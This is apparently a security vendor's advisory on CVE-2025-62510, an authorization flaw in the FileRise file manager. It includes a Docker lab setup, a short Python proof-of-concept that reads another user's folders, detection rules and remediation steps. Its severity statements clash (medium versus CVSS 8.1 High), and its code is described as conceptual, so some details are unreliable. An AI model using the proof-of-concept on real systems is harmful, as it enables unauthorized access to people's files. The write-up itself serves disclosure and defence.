CVE-2025-62510

Executive Summary

CVE-2025-62510 is a medium-severity information disclosure vulnerability affecting FileRise, a self-hosted web-based file manager. In version 1.4.0, a regression allowed low-privilege users to infer folder visibility and ownership based on folder names. This could lead to unauthorized access to other users' content in certain scenarios. The vulnerability has been patched in version 1.5.0 with the introduction of explicit per-folder Access Control Lists (ACLs) and strict server-side authorization checks across all file operations.

Supply Chain & Package Security

FileRise is a self-hosted application typically deployed via Docker or direct source code download. There is no known supply chain compromise associated with this CVE. The vulnerability is a code regression introduced in version 1.4.0 and fixed in 1.5.0. Users should verify the integrity of their downloaded packages by checking checksums provided by the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: Low
• Availability Impact: None

Threat Level: High. While the attack requires low privileges, the potential for unauthorized access to sensitive files and the ease of exploitation make this a significant risk for multi-tenant FileRise deployments.

Deep Dive & Mechanics

The vulnerability stems from a regression in the folder visibility logic introduced in FileRise version 1.4.0. In previous versions, folder access was controlled by explicit permissions. The regression caused the application to infer folder ownership and visibility based on folder names. Specifically, if a folder name matched a user's username, that user could see and potentially interact with the folder, even if they were not the intended owner.

The core issue lies in the server-side authorization checks. When listing folders or performing operations like read, write, share, rename, copy/move, zip, and WebDAV access, the application failed to validate whether the authenticated user had explicit permissions for the target folder. Instead, it relied on a flawed name-matching heuristic.

Attack Scenario:

1. An attacker with a low-privilege account (e.g., "jdoe") logs into FileRise.
2. The attacker navigates to the file listing interface.
3. The application lists folders whose names match "jdoe" or contain similar patterns.
4. If another user (e.g., "admin") has a folder named "jdoe" or "jdoe_backup", the attacker can see and potentially access its contents.
5. The attacker can then read, download, or even modify files within that folder, depending on the specific operation.

Vulnerable vs. Patched Code

Vulnerable Code (v1.4.0 - Conceptual):

// Server-side folder listing logic (simplified)
function listFolders(user) {
    let folders = getAllFolders();
    let accessibleFolders = [];
    for (let folder of folders) {
        // Flawed logic: checks if folder name contains username
        if (folder.name.includes(user.username)) {
            accessibleFolders.push(folder);
        }
    }
    return accessibleFolders;
}

Patched Code (v1.5.0 - Conceptual):

// Server-side folder listing logic with ACLs (simplified)
function listFolders(user) {
    let folders = getAllFolders();
    let accessibleFolders = [];
    for (let folder of folders) {
        // Explicit ACL check
        if (hasPermission(user, folder, 'read')) {
            accessibleFolders.push(folder);
        }
    }
    return accessibleFolders;
}

function hasPermission(user, folder, operation) {
    // Check ACLs: owners, read, write, share, read_own
    if (folder.acl.owners.includes(user.id)) return true;
    if (operation === 'read' && folder.acl.read.includes(user.id)) return true;
    if (operation === 'write' && folder.acl.write.includes(user.id)) return true;
    if (operation === 'share' && folder.acl.share.includes(user.id)) return true;
    if (operation === 'read_own' && folder.acl.read_own.includes(user.id)) return true;
    return false;
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy FileRise v1.4.0 using Docker:

   docker run -d -p 8080:80 filerise/filerise:1.4.0
   

2. Create two users: "admin" and "attacker".
3. As admin, create a folder named "attacker_secret" and upload sensitive files.
4. As attacker, log in and attempt to list folders.

Exploitation Steps:

1. Log in as the low-privilege user "attacker".
2. Navigate to the file manager interface.
3. Observe that the folder "attacker_secret" is visible.
4. Click on the folder to view its contents.
5. Download or modify files as desired.

Proof of Concept (PoC) Script:

import requests

target = "http://localhost:8080"
session = requests.Session()

# Login as attacker
login_data = {"username": "attacker", "password": "attacker123"}
session.post(f"{target}/login", data=login_data)

# List folders
response = session.get(f"{target}/api/folders")
folders = response.json()
print("Visible folders:", [f["name"] for f in folders])

# Access a folder that should be restricted
folder_name = "attacker_secret"
response = session.get(f"{target}/api/folders/{folder_name}/files")
if response.status_code == 200:
    print(f"Successfully accessed {folder_name}")
    print("Files:", response.json())
else:
    print(f"Access denied to {folder_name}")

Blue Team

Detection Steps:

1. Monitor for unusual folder listing requests from low-privilege users.
2. Look for access to folders that do not match the user's explicit permissions.
3. Check server logs for repeated attempts to access folders with names matching usernames.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search uri="/api/folders/*" user!="admin"
| rex field=uri "/api/folders/(?<folder_name>[^/]+)"
| eval user_folder_match=if(match(folder_name, user), 1, 0)
| where user_folder_match=1
| stats count by user, folder_name, src_ip

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unusual GET requests to /api/folders/ from low-privilege users.
  • Repeated attempts to access folders with names matching usernames.

• File System IOCs:

  • Presence of files in folders that should not be accessible to the user.
  • Modified timestamps on files in folders accessible via the vulnerability.

• Log IOCs:

  • Server logs showing successful access to folders by unauthorized users.
  • Error logs with permission denied messages followed by successful access.

Detection Engineering

YARA Rule

rule Detect_FileRise_CVE_2025_62510_Exploitation {
    meta:
        description = "Detects exploitation attempts of CVE-2025-62510 in FileRise"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62510"
    strings:
        $s1 = "/api/folders/" ascii wide nocase
        $s2 = "attacker" ascii wide nocase
        $s3 = "secret" ascii wide nocase
    condition:
        all of ($s*) and filesize < 10KB
}

Sigma Rule

title: FileRise CVE-2025-62510 Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit folder visibility vulnerability in FileRise
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62510
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-stem|startswith: '/api/folders/'
        cs-username|re: '^(?!admin).*$'
    condition: selection
falsepositives:
    - Legitimate folder access by users with matching names
level: medium

Suricata Rule

alert http any any -> any any (msg:"FileRise CVE-2025-62510 Exploitation Attempt"; flow:to_server; content:"GET"; http_method; content:"/api/folders/"; http_uri; pcre:"/\/api\/folders\/([^\/]+)/"; reference:cve,2025-62510; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade FileRise to version 1.5.0 or later.
2. If upgrade is not possible, restrict access to the FileRise application to trusted users only.
3. Review and audit all folder permissions to ensure no unauthorized access has occurred.

Long-term Mitigations:

1. Implement network segmentation to isolate FileRise from untrusted networks.
2. Enable detailed logging and monitoring for all file operations.
3. Conduct regular security audits of the FileRise configuration and user permissions.
4. Apply the principle of least privilege for all user accounts.

Workaround:

• If upgrading is not immediately possible, consider disabling folder listing for non-admin users by modifying the application configuration or using a reverse proxy to restrict access to the /api/folders/ endpoint.

Valters IT
Securing Your Digital Frontier